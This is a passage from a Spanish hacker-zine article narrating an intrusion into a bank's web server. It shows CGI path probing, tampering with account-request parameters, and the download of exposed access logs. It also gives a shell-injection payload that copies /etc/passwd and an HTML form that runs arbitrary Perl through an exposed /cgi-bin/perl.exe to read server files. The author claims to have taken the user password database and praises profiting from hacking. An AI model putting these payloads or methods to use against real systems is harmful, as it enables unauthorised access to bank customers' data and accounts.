/cgi-bin/BJ/financiero.pl -> por si estaba en perl
/cgi-bin/BJ/tmp/ -> por si trabajaba con temporales
/cgi-bin/BJ/financiero. -> a ver que pasaba
/cgi-bin/BJ/.htaccess -> listado de usuarios con privilegios, segun
dice el manual del Netscape Enterprise Server
/cgi-bin/../cgi-bin/ -> por si tienen el bug del ..
/cgi-bin/BJ/?
/cgi-bin/BJ/index.cgi? -> me respondio con la pagina de peticion de claves
/cgi-bin/BJ/financiero.cgi? -> si fuera un ASP, me mostraria el codigo
En todos los casos, la respuesta fue que el objeto solicitado no estaba en
ese servidor.
Lo peor es que supongo que aparecere en los logs. Pero con 1Mg de datos (2.5
pues era fin de semana), no creo que los miren.

Tambien hice otra cosa:
Me conecte como un usario valido (el mio), y solicite datos sobre una cuenta.
Esto es del tipo POST al index.cgi con argumento
'xxxxyyyyaaabbbcccccccESPPESETA+ESPAÑOLA+++++++++++++++JONES+FBUENOS+FIMJONES+BUENOS+FIM++++++++++++++++++++++++++++++1995-12-1201001+++++++++130.877,00PPPPF'
ademas del SessionID, bj_EngineID, y otros datos.
Como fue bien, modifique para pedir
'xxxxyyyyaaabbbcccccddESPPESETA+ESPAÑOLA+++++++++++++++JONES+FBUENOS+FIMJONES+BUENOS+FIM++++++++++++++++++++++++++++++1995-12-1201001+++++++++130.877,00PPPPF'
o sea, cambie ccccccc por cccccdd , a ver si asi conseguia acceder a otra
cuenta. Pero no funciono. Me dijo que los datos eran erroneos. Supongo que con
cada SessionID se obtiene un UserID que solo lo sabe el servidor, y con este
numero se accede a los datos solicitados _del cliente_, por lo que no puedo
ver (tan facilmente) los datos de otro. Bueno, esto es programacion basica.
O quizas la combinacion xxxxyyyyaaabbbcccccdd no sea correcta, porque ningun
usuario tenga ese numero.
O quizas el dato del final de la cadena (el importe) se use como verificacion
para los otros. como no conozco el importe, no puedo usar el numero, y
tampoco al reves.
Pero eso lo puedo solucionar: abro el navegador, me conecto como un usuario,
accedo a los datos, y me guardo la peticion.
Salgo, y vuelvo a entrar como otro usuario. llego hasta el mismo sitio, y
entonces hago la peticion _anterior_. En teoria el sistema de privacidad me
deberia impedir acceder a los datos... y asi es :-(
O sea, el servidor guarda alguna relacion entre mi SessionId (u otro numero)
y los datos a los que puedo acceder.
Por cierto, no creo que pueda acceder a los datos de un usuario que no este
dado de alta en el sistema: me explico: mantienen una base de datos con los
movimientos de la gente que esta dada de alta, no de todos los usuarios del
banco. Si fuera asi, necesitarian muchos megas (por otra parte, es un banco,
y no creo que le importe poner un disco de 50 Gigas, que para SUN existen)

Un poco decepcionado por mi intento fallado, corto la conexion


Quinta sesion. 1 de Diciembre:
He preparado un par de trucos, pero lo primero que hago es mirar la basura:
en /tmp/ han desaparecido los archivos que habia, pero en cambio tengo

<TITLE>Index of /tmp/</TITLE>
<h1>Index of /tmp/</h1>
<PRE><IMG SRC="/mc-icons/blank.gif" ALT=" "> Name Last modified Size Description
<HR>
<A HREF="/" NAME="/"><IMG SRC="/mc-icons/back.gif" ALT="[DIR]" BORDER=0> Parent Directory</a>
<A HREF="access-981112_235500" NAME="access-981112_235500"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> access-981112_235500</a> 07-Dec-98 09:59 13M
<A HREF="access-981114_235501" NAME="access-981114_235501"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> access-981114_235501</a> 07-Dec-98 09:59 2M
<A HREF="estadisticas_web" NAME="estadisticas_web"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> estadisticas_web</a> 07-Dec-98 10:02 1K
<A HREF="festivo" NAME="festivo"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> festivo</a> 07-Dec-98 10:08 9K
<A HREF="laborable" NAME="laborable"><IMG SRC="/mc-icons/unknown.gif" ALT="[ ]" BORDER=0> laborable</a> 07-Dec-98 10:06 40K
<A HREF="tmp/" NAME="tmp/"><IMG SRC="/mc-icons/menu.gif" ALT="[DIR]" BORDER=0> tmp/</a> 08-Oct-98 12:23 1K

El access-981112_235500 es un listado de las peticiones hechas al server. Por
si alguien no se ha dado cuenta, son 13Mg !
Empiezo a bajarlo, para que que pinta tiene:

format=%Ses->client.ip% - %Req->vars.pauth-user% [%SYSDATE%] "%Req->reqpb.proxy-request%" %Req->srvhdrs.clf-status% %Req->vars.p2c-cl%
183.74.4.225 - - [13/Nov/1998:23:55:31 +0000] "GET http://www.elpais.es/canal/elpais.cdf HTTP/1.0" 407 271
183.63.32.116 - - [13/Nov/1998:23:58:55 +0000] "GET http://channel.cnn.com/channel/cnn.cdf HTTP/1.0" 407 271
183.27.21.182 - lau1 [14/Nov/1998:00:06:02 +0000] "GET http://205.228.184.151:80/FIDO-1/BID-1/3932464-1/ccat.dat HTTP/1.0" 200 408
y muuuuchas lineas mas
Que bien, incluso de explican como va el formato:
-primero, la direccion ip del cliente
-luego, el usuario
-la fecha
-la pagina requerida (junto con argumentos, y la version del navegador)
-la respuesta del servidor (200=OK, 407=NoChange, ... ver manual de HTTP 1.1)
-el numero de bytes recibidos
Pues muy bien. Asi que puedo sacar nombres de usuarios internos al BancoJones,
direcciones IP de sus maquinas, y cotillear lo que piden. Pero 13Mg es mucho.
Incluso el de 2 Mg se me hace un poco grande. Ya ire a visitar a alquien que
tenga una RDSI o algo mejor.

Los archivos "festivo" y "laborable" contienen las estadisticas sacadas a
partir de estos ficheros con el programa flexlang
¨Como lo he sabido? pues mirando el "estadisticas_web"

#!/bin/csh
#!/bin/csh
if ($#argv == 0) then
echo ""
echo " se usa de esta forma: cmd fich_entrada fich_salida "
echo "" ; exit 1
endif
#/opt/ns-home/extras/flexanlg/flexanlg -n "www.bancojones.es" -x -r -i $1 -o $2 -c huok -t s10m10h10 -l c+30h+10
/opt/netscape/suitespot/extras/flexanlg/flexanlg -n "proxy inverso de tesoreria" -x -r -i $1 -o $2 -c huok -t s10m10h10 -l c+30h+10
#/opt/ns-home/extras/flexanlg/flexanlg -n "proxy inverso de bancojones" -x -r -i $1 -o $2 -c huok -t s10m10h10 -l c+30h+10
#/opt/ns-home/extras/flexanlg/flexanlg -n "proxy inverso de bancojones via internet" -x -r -i $1 -o $2 -c huok -t s10m10h10 -l c+30h+10

Vaya, vaya. codigo interesante. Un script. Asi que el shell habitual es csh.
Y el soft del servidor esta instalado en
/opt/netscape/suitespot en vez de en /opt/ns-home/ , como recomienda Netscape
Segun el manual del Server, el comando flexlang permite varios argumentos:
-n para el nombre del servidor (parecen usarlo como titulo)
-x para que la salida quede en HTML (la verdad es que queda mas mono)
-r para que traduzca numeros IP en nombres (no parece funcionar, o tienen
bien instalado el Wins (para IP dinamicas) o el DNS (IP estaticas)
-i archivo de entrada
-o archivo de salida
-c huok: total hits + total uniques URL + total unique hosts + total Kb
-t s10m10h10: ultimos 10 segundos, ultimos 10 minutos, ultimas 10 horas
-l c+30h+10: URL accedidas mas de 30 veces, hosts accedidos mas de 10 veces
Por eso las estadisticas quedan tan bonitas. Solo les faltan colores.
Vamos a detenernos aqui. Si quitamos los argumentos que hacen que quede mono,
nos queda
flexanlg -i $1 -o $2
que es un comando tambien valido. Pero que pasa si alimentamos este script
con datos
$1="/dev/nul"
$2="/dev/nul; cp /etc/passwd ./passwd"
Pues que queda el comando
flexanlg -i /dev/nul -o /dev/nul; cp /etc/passwd ./passwd
que se interpreta como 2 comando distintos: uno que no hace nada, y otro que
copia el fichero de claves a este directorio (si tenemos privilegios)
Solo se trata de que se pueda ejecutar: Nada mas facil.
Creamos una pagina HTML (en local) que contenga

<form
ACTION="www.bancojones.es:443/tmp/estadisticas_web /dev/nul /dev/nul;
cp /etc/passwd ./passwd"METHOD="POST">

(Por supuesto, no se pueden poner espacios, hay que sustituirlos por %20, pero
asi es mas facil de leer)
Y que pasa cuando la ejecutamos?
Pues devuelve una respuesta diciendo que no se ha podido encontrar el objeto
solicitado. Esto es bastante normal, dado que no se ha generado una pagina.
Abro otra ventana, y hago GET /tmp
Y para mi sorpresa descubro que no hay nada. Que habra pasado?
Primero sospecho de los privilegios. No se bajo que nombre de usuario se esta
ejecutando el servidor Web. Lo normal seria que fuera "nobody", tal como
recomiendan miles de manuales, pero lo mas comun es que sea bajo el usuario
"root", para que los administradores no se preocupen de los permisos.
Tambien puede suceder (asi es en CER-httpd y NCSA-httpd) que, aunque el
usuario propietario sea "root", luego se hace un setuid para cambiarlo.
Otra posible causa es que no este usando el sitio correcto. Si el server
tiene la opcion chroot (cambiar el directorio raiz), entonces todos los
caminos absolutos se tratan como relativos, por lo que /etc/passwd acaba
siendo /usr/Netscape/Server/etc/passwd , y este fichero no existe.
O quizas es que el comando cp no esta en la ruta.
Tambien podria pasar que no pueda ejecutar un programa que esta en /tmp
O la peticion podria estar mal montada.
La respuesta a todas estas preguntas la encontre acudiendo a alguien que
tuviera un servidor igual, o, en su defecto, instalando yo uno.
Una vez consegui esto (la semana siguiente), y sabiendo que hay 2 maneras de
configurar los CGIs:
-permitiendo solo unas extensiones: asi, los archivos *.EXE , *.pl , *.cgi
deben ser ejecutados por el servidor, no permitiendo que el usuario los baje
a su ordenador personal.
-permitiendo solo un directorio: asi, todos los archivos de /cgi-bin/ (y los
que cuelgan de este) deben ejecutarse.
Pero claro, si el archivo flexlang esta en /tmp ,es porque el administrador
los ejecuta desde una cuenta shell.
Por tanto, la solucion estaba en ejecutar cualquier archivo de /cgi-bin , por
supuesto, con una peticion POST
Sabia unos cuantos archivos
control_servicio.cgi
index.cgi
BJ/financiero.cgi
BJ/BJregenera.pl
BJ/bj.cgi
boletin.cgi
formularios.cgi
financiero.cgi
enviacom.cgi
Si pudiera tener el fuente de alguno para ver si ejecutaban un shell ...
Pues intento acceder a
BJ/bj.c -> Fallo
BJ/bj.c~ -> Fallo
BJ/bj.pl -> Fallo
BJ/bj.bas -> Fallo
Y asi con muchos mas. En fin, puerta cerrada.
En todos intente alimentarlos con una peticion que
incluyera "; cp /etc/passwd ../tmp/passwd" , pero ninguno funciono. Deben
tener activado el chequeo de no salirse de directorios.
Como no me habia salido muy bien este intento, decidi dejar reposar el
tema, e intentarlo de otra manera.
Navegando, descubri que el Banco Jones tambien tiene una facilidad de busqueda
para palabras claves. Asi, si pones "Bolsa", te muestra las paginas cuyo
titulo (etiqueta <title> en HTML) contiene la palabra "Bolsa". Pues que bien.
A ver cuales tienen la palabra cgi ?
bueno, pues salen 5. Ninguna de nuevo interes.
Pero lo bueno es hay un motor de busqueda que accede a todas las paginas.
Seguro que tiene acceso a muchas cosas. Vamos a ver que sale por aqui.
Este sistema se basa en un software llamado Architext, creado por la
casa excite. La direccion es www.atext.com, pero en seguida te lleva a
www.excite.com (uno de los multiples buscadores). O sea, que se hicieron
un spider (buscador, en la jerga) y ahora lo comercializan.
Aprendi que te lo puedes bajar para probarlo. Bueno, son 2 megas.
Hay versiones para todo, en particular para NT, Linux y Sun.
Contienen 2 binarios de 1.7 Mg cada uno, herramientas de indexacion, manual,
dibujos, interprete de perl, modulos en perl, y un interface para manejarlo
desde la linea de comandos. Nada del otro mundo.
El manual es ciertamente breve, El interface es bastante simple, y los
modulos no hacen demasiadas cosas. Pero los ejecutables contienen muchas
cosas; son el autentico corazon del Architext.
No encontre ningun sitio com exploits, pero si que hay parches. Y porque
existe los parches? pues porque los programas tienen fallos.
Asi que consegui un par de parches (no hay mas), vi lo que cambiaban, y
me ilusiono el comentario del principio:
## Unix Version Patch -- architext_query.pl
## This updated version of this library file removes
## a security hole that made shell-based hacking possible via CGI

Vaya, parece que estan hablando de mi. Pero que querra decir shell-based ?
Significa que necesitas tener un shell para atacar, o que un ataque
posibilita un shell ? Ya lo veremos.
Todos los *.pl ocupan unos 300 Kb de codigo en lenguaje perl , y no es
precisamente facil de leer. Pero como yo lo que busco es un punto debil,
busco exclusivamente los OPEN, EXEC, USE, y otras cosillas mas.
la jerarquia del architext es:
/Architext/
/Architext/collections/*.web -> referencias a ficheros a indexar
/Architext/collections/*.idx -> bases de datos ya ordenadas
/Architext/collections/*.conf -> configuracion
/otros_archivos_internos
/*.tmp -> indexaciones y busquedas solicitadas
/Architext/perllib/ -> modulos en perl
/Architext/perl.exe
/Architext/AT-*.html -> paginas de entrada de datos, y de administracion
/Architext/AT-*.cgi -> programas de busqueda, indexacion y mantenimiento.

Hay muchas cosas que se podrian contar del Architext, y menciono algunas:
-el directorio /Architext/ debe ser de lectura y escritura para el usuario
que ejecuta el Web Server. O sea, "root" o "nobody"
-Para que se ejecuten los *.pl deben ser ejecutados por el servidor. O sea,
que (combinado con lo aprendido antes), deben moverse a /cgi-bin/
-Solo busca los titulos y palabras clave de las paginas, no los conenidos.
O sea, si una pagina tiene
<HTML>
<title>Bank Hack</title>
<keywords="Crack, dinero, gratis">
<BODY> Aprende como entrar en sistemas para ganar unas pesetas </BODY>
</HTML>
Y buscas "Hack" o "dinero", pues lo encuentra. Pero no encuentra "pesetas"
-Tiene un poco de "Inteligencia". Si en una pagina de bicicletas aparece
la palabra "rueda", deduce que estan relacionadas, y cuando
buscas la palabra "rueda", te pueden aparecer paginas de bicicletas, aunque
ni lo hayas buscado, ni aparezca la palabra "rueda".

En fin, los scripts estan bien hechos, es dificil hincarles el diente,
pero se aprende mucho perl (ese es el proposito del Hacking, no?)
A cambio, no son muy seguros, porque es el propio binario es que se
encarga de invocarlos o procesar su resultado, asi que forman un canal
bastante ancho por el que colarse.
Y aqui esta el hueco: el interprete de perl (que llamare perl.exe aunque
en realidad se llama simplemente "perl") esta en un sitio que se puede
invocar desde una pagina web.
Este mas bien es fallo de la persona que lo instalo. Supongo que probo
muchas cosas, y lo dejo asi. (En cuanto funciona, no lo toques)
O sea, que existe /cgi-bin/perl.exe
Mas claro:
<form
ACTION="www.bancojones.es:443/cgi-bin/perl.exe -e mi_comando"
METHOD="POST"
>
Por supuesto que hay que quitar los espacios y que que poner comillas
simples (') en el comando, pero asi se entiende mejor.
Y como lo de antes no funciono bien, pues lo voy a hacer de otra manera
que me gusta mas: en vez de copiar el /etc/passwd, voy a mandarme otro
por HTML:
print "Content-type: text/plain", "\n\n";
open ( FILE, "../tmp/estadisticas_web" )
$contenido = <FILE>
print <<EOF
$contenido
EOF

esto es lo que pongo en vez de "mi_comando" (antes reemplazo los espacios
y los caracteres especiales)
y ... le voila. Me aparece el fichero estadisticas_web !!!!

Y en este momento he cometido un segundo delito. No digo que este bien ni
mal; simplemente, es asi.

Intento /cgi-bin/fondos2.pl ... y funciona!
Asi que este he podido leerlo. Voy con otro: Bj/bj.cgi
Como este archivo es binario, solo me mando los primeros 30 caracteres.
Pero tambien funciona.
ahora intento salirme del sistema: ataco /etc/passwd
dice que no puede. En fin, quizas no se llame asi. Intento /etc/hostname
y tambien funciona. Supongo que el problema es que no existe /etc/passwd o
no tengo suficientes privilegios.
Algo mas fuerte: hago un ls -lR > /tmp/listado , y me lo traigo. Asi aprendo
mucho del sistema. Por cierto, tienen una maquina mas que aceptable.
Y tras esto, el mundo a mis pies. Saque la base de datos de usuarios, para
sacar sus clave para usar sus cuentas. Pero esto es otra historia.


Fin de la ense~anza.
Quizas alguien se pregunte que hace el autor de este articulo ahora; pues lo
mismo que antes: trabajo en una peque~a empresa de informatica, ganando un
sueldo misero, pero con la satisfaccion de haber ense~ado a alguna gente
como se hace para conocer la verdad que esta ahi afuera.
O quizas no sea asi, sino que ahora estoy en el Caribe, disfrutando del sol
y bebiendo mojitos hasta reventar.
O quizas estoy en Alcala Meco, con Mario Conde, Barrionuevo y Pinochet.
O todo esto es mentira y el Banco Jones ni siquiera tiene servidor Internet.
O yo soy el administrador de www.bancojones.es y en cuanto probeis
esto llamo a la BSA.

Postdata:
Con respecto a la filosofia hacker, yo me pregunto: se puede ser hereje?
Todo eso del conocimiento, la informacion libre, paz y libertad suena bien,
pero es mucho mas atractivo si se saca provecho.



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT